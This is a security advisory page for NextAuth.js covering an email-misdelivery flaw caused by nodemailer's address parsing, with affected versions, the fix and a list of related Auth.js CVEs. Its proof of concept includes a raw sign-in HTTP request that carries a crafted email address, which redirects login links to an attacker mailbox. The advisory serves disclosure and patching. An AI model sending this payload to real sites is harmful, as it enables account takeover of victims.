GHSA-5jpx-9hw9-2fx4: NextAuthjs Email misdelivery Vulnerability
Summary NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as: is parsed incorrectly and results in the message being delivered to [email protected] (attacker) instead of " @victim.com" (the intended recipient at victim.com) in violation of RFC…
Published Oct 29, 2025
Affected packages
next-auth
- Ecosystem
- npm
- Affected
- < 4.24.12
- Fixed in
- 4.24.12
- Check
npm ls next-auth
next-auth
- Ecosystem
- npm
- Affected
- >= 5.0.0-beta.0, < 5.0.0-beta.30
- Fixed in
- 5.0.0-beta.30
- Check
npm ls next-auth
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:
"[email protected]"@victim.comis parsed incorrectly and results in the message being delivered to [email protected] (attacker) instead of "<[email protected]>@victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.
Affected NextAuthjs Version
≤ Version | Afftected -- | -- 4.24.11 | Yes 5.0.0-beta.29 | Yes
POC
Example Setup showing misdelivery of email
import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@auth/prisma-adapter"
import { prisma } from "@/lib/prisma"
export const { handlers, auth, signIn, signOut } = NextAuth({
adapter: PrismaAdapter(prisma),
providers: [
Nodemailer({
server: {
host: "127.0.0.1",
port: 1025,
...
},
from: "[email protected]",
}),
],
pages: {
signIn: '/auth/signin',
verifyRequest: '/auth/verify-request',
},
})
POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1
email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2FsigninMitigation
Update to nodemailer 7.0.7
Credits
https://zeropath.com/ Helped identify this security issue
Credited to rootxjs.
References
- https://github.com/nextauthjs/next-auth/security/advisories/GHSA-5jpx-9hw9-2fx4
- https://github.com/nextauthjs/next-auth/commit/82efcf81f218aae43683f8dd2f7c260ef69b3ece
- https://github.com/nextauthjs/next-auth/commit/8f3b2c7af0fe08973a12f616517c3ec85a5cd172
- https://github.com/advisories/GHSA-5jpx-9hw9-2fx4
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-73418
Auth.js: getToken() throws an uncaught exception on malformed Bearer authorization headers
high7.5Jul 23, 2026CVE-2026-73419
Auth.js: OAuth state, nonce, and PKCE check cookies are not bound to the provider that created them
medium6.8Jul 23, 2026CVE-2026-73420
Auth.js: Email normalizer validates the address before Unicode normalization, allowing a homoglyph @ bypass
critical9.1Jul 23, 2026CVE-2026-73421
Auth.js: Configuration errors can cause existence-based auth checks to fail open (auth object populated with an error)
critical9.1Jul 23, 2026
